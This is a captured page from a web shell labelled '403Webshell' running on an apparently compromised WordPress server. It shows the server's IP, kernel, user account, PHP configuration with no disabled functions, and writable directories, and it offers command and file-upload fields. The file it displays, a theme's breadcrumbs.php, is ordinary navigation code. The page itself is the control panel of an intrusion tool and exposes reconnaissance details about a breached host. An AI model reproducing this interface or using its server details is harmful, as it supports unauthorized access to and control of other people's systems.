403Webshell
Server IP : 104.21.74.147  /  Your IP : 216.73.217.154
Web Server : nginx/1.24.0
System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/rebeccaone.com/wp-content/themes/x/framework/legacy/functions/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rebeccaone.com/wp-content/themes/x/framework/legacy/functions/frontend//breadcrumbs.php
<?php

// =============================================================================
// FUNCTIONS/GLOBAL/BREADCRUMBS.PHP
// -----------------------------------------------------------------------------
// Sets up the breadcrumb navigation for the theme.
// =============================================================================

// =============================================================================
// TABLE OF CONTENTS
// -----------------------------------------------------------------------------
//   01. Breadcrumbs Output
//   02. Breadcrumbs Output Items
//   03. Breadcrumbs Data
// =============================================================================

// Breadcrumbs Output
// =============================================================================

if ( ! function_exists( 'x_breadcrumbs' ) ) :

  function x_breadcrumbs() {

    if ( ! x_get_option( 'x_breadcrumb_display' ) ) {
      return;
    }

    $args = [
      'item_before'        => '<span itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem">',
      'item_after'         => '</span>',
      'label_before'       => '<span itemprop="name">',
      'label_after'        => '</span>',
      'delimiter_before'   => ' <span class="delimiter">',
      'delimiter_after'    => '</span> ',
      'delimiter_ltr'      => x_icon_get("f105", "x-icon-angle-right"),
      'delimiter_rtl'      => x_icon_get("f104", "x-icon-angle-left"),
      'current_class'      => 'current',
      'anchor_atts'        => array( 'itemtype' => 'http://schema.org/Thing', 'itemprop' => 'item' ),
      'include_meta'       => true,
      'include_taxonomies' => false,
      'home_label'         => '<span class="home">' . x_icon_get("f015", "x-icon-home") . '</span><span class="visually-hidden">' . __( 'Home', '__x__' ) . '</span>',
      ];

    if ( ! get_option( 'page_for_posts' ) ) {

      $stack = x_get_stack();

      $blog_label = '';
      if ( 'integrity' === $stack ) {
        $blog_label = x_get_option('x_integrity_blog_title', '' );
      } elseif ( 'renew' === $stack ) {
        $blog_label = x_get_option('x_renew_blog_title', '' );
      }

      if ($blog_label) {
        $args['blog_label'] = $blog_label;
      }

    }

    $breadcrumbs_output = apply_filters( 'x_breadcrumbs', '', $args);

    echo '<div class="x-breadcrumbs" itemscope itemtype="http://schema.org/BreadcrumbList" aria-label="Breadcrumb Navigation">' . $breadcrumbs_output . '</div>';

  }

endif;


// Prevent fatal errors in child themes using old functions

if ( ! function_exists( 'x_breadcrumbs_data' ) ) {
  function x_breadcrumbs_data( $args = array() ) {
    return [];
  }
}

if ( ! function_exists( 'x_breadcrumbs_items' ) ) {
  function x_breadcrumbs_items( $data = [], $args = [] ) {
    return '';
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit